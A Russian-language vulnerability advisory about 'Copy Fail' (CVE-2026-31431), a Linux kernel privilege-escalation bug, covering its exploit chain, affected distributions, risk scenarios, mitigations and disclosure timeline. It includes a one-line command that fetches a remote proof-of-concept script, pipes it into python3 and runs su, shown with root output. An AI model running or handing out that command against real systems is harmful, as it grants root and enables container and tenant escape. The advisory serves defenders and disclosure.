732 байта против всего Linux: эпическая уязвимость скрывалась почти десять лет

🚨 Эпическая уязвимость: 732 байта против всех Linux, почти десять лет в тени
Публично раскрыта уязвимость ядра Linux под названием«Copy Fail» (CVE-2026-31431):
- 732 байтаPython-кода
- 100% надёжность, без гонок и офсетов ядра
- затрагивает все дистрибутивы Linux (с 2017 года по настоящее время)
- примитив выхода из контейнера, атаки между арендаторами
- почти десять лет в тени, раскрыта 29 апреля 2026 года
Один и тот же скрипт работает вUbuntu, RHEL, Amazon Linux, SUSEбез каких-либо изменений.
🎯 Суть уязвимости
Единичный логический дефект
Copy Fail — этолинейный логический дефект:
- не требует окна гонки: в отличие от большинства Linux LPE, где нужен race condition
- не требует офсетов ядра: не нужны специфичные для ядра смещения
- 100% надёжность: срабатывает каждый раз
- один и тот же скрипт: работает на всех дистрибутивах
Цепочка эксплойта
Цепочка атаки Copy Fail:
- логическая ошибка authencesn: один логический баг
- AF_ALG: через криптографический API ядра
- splice(): цепочка вызовов
- 4-байтовая запись в page cache: итоговый примитив атаки
- эксплуатируемость почти десять лет: с 2017 года до выхода патча
📊 Масштаб поражения
Официально проверенные дистрибутивы
| Дистрибутив | Версия ядра | Статус |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | ✅ Подтверждено |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | ✅ Подтверждено |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | ✅ Подтверждено |
| SUSE 16 | 6.12.0-160000.9-default | ✅ Подтверждено |
Другие затронутые дистрибутивы
Следующие дистрибутивытакже затронуты:
- Debian
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- встраиваемые Linux (embedded)
Вывод: если ваше ядро собрано в период с 2017 года до патча —вы уязвимы.
💡 Сценарии высокого риска
| Сценарий | Риск | Воздействие |
|---|---|---|
| Мультиарендные Linux-хосты | Высокий | любой пользователь становится root |
| Кластеры Kubernetes / контейнеров | Высокий | атаки между контейнерами и арендаторами |
| CI Runner / Build Farm | Высокий | PR получает root на runner |
| Облачные SaaS, исполняющие код пользователей | Высокий | арендатор получает root хоста |
| Стандартные Linux-серверы | Средний | внутренняя LPE, можно выстроить цепочку |
| Однопользовательские ноутбуки | Низкий | шаг эскалации привилегий после проникновения |
🔧 Меры снижения риска
Вариант 1: обновить ядро (рекомендуется)
обновите ядро до версии, содержащейmainline commit a664bf3d603d:
- Что исправлено: откат оптимизации in-place в algif_aead 2017 года
- Эффект: страницы page cache больше не попадают в записываемый destination scatterlist
- Статус: большинство основных дистрибутивов уже выпустили патчи
Вариант 2: отключить модуль algif_aead (временно)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Влияние отключения algif_aead
| Компонент | Влияние |
|---|---|
| dm-crypt / LUKS | не затрагивается |
| kTLS / IPsec | не затрагивается |
| OpenSSL / SSH | не затрагивается |
| Пользовательское пространство AF_ALG | может быть затронуто |
Вывод: для большинства систем отключение algif_aeadне имеет заметных последствий.
Вариант 3: блокировать AF_ALG через seccomp
Для недоверенных рабочих нагрузок (контейнеры, песочницы, CI) блокируйте создание AF_ALG-сокетов через seccomp:
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀 Демонстрация PoC
PoC уязвимости опубликован, чтобы защитники могли проверить свои системы:
Быстрый запуск
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
Подробности PoC
- Размер файла: 732 байта
- Язык: только стандартная библиотека Python 3.10+ (os, socket, zlib)
- Цель по умолчанию: /usr/bin/su
- SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Предупреждение: скрипт изменяет page cache setuid-бинарника; изменения не переживают перезагрузку, но root shell реален. Не запускайте в производственной среде.
📅 Хронология раскрытия
| Дата | Событие |
|---|---|
| 2026-03-23 | Сообщение в Linux kernel security team |
| 2026-03-24 | Первичное подтверждение |
| 2026-03-25 | Предложение и ревью патча |
| 2026-04-01 | Патч отправлен в mainline |
| 2026-04-22 | Присвоение CVE-2026-31431 |
| 2026-04-29 | Публичное раскрытие |
🔍 Первооткрыватель: Xint Code
Уязвимость обнаруженаXint Code:
- Время сканирования: около 1 часа на сканирование подсистемы crypto/ ядра Linux
- Способ обнаружения: аудит кода с помощью ИИ
- Полный анализ: root cause, диаграммы, операторский промпт
- Другие находки: одновременно обнаружены другие уязвимости высокой тяжести, ещё в скоординированном раскрытии
Достижения Xint Code
- 0-day RCE: ZeroDay Cloud, разгром категории баз данных (Redis, PostgreSQL, MariaDB)
- DARPA AIxCC Top 3: финал DARPA AI Cyber Challenge
- DEF CON CTF 9×: самая титулованная команда в истории DEF CON CTF
📝 Итоги
Copy Fail (CVE-2026-31431) — этоэпическая уязвимость ядра Linux:
- 732 байта против всех Linux (с 2017 года по настоящее время)
- 100% надёжность, единичный логический дефект
- выход из контейнера, атаки между арендаторами
- почти десять лет в тени, раскрыта 29 апреля 2026 года
- сценарии высокого риска: мультиарендные хосты, контейнерные кластеры, CI Runner, SaaS
- смягчение: обновить ядро или отключить algif_aead
- первооткрыватель: Xint Code, аудит кода с помощью ИИ
Эпическая уязвимость почти десятилетней выдержки — один скрипт против всех Linux.
Сайт уязвимости:https://copy.fail
PoC на GitHub:https://github.com/theori-io/copy-fail-CVE-2026-31431
Технический анализ:https://xint.io/blog/copy-fail-linux-distributions
Патч ядра:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5